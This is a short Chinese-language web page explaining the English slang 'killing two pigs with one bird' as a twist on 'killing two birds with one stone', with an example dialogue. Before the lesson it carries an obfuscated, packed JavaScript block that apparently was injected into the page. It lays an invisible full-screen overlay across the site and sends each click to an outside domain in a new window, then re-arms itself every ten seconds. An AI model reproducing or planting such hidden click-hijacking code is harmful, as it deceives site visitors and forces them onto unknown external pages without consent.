<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>【killing two pigs with one bird】
A modern version of the popular saying "killing two birds with one stone." derived from the popular video game "angry birds."
面对那肥猪们的堡垒，鸟儿以自己的身体为武器，它如同是一颗颗炮弹将肥猪们销毁，这是愤怒小鸟的乐趣。也正是它的流行，才有了killing two pigs with one bird，更是killing two birds with one stone的新说法，比喻一举两得。
【例句】
A: When I was at the gas station, they fixed my tires and washed my windshield.
去加油站时，他们调校了我的轮胎又洗了我的挡风玻璃。
B: That's killing two pigs with one bird.
那真是一举两得啊。 |
|
收藏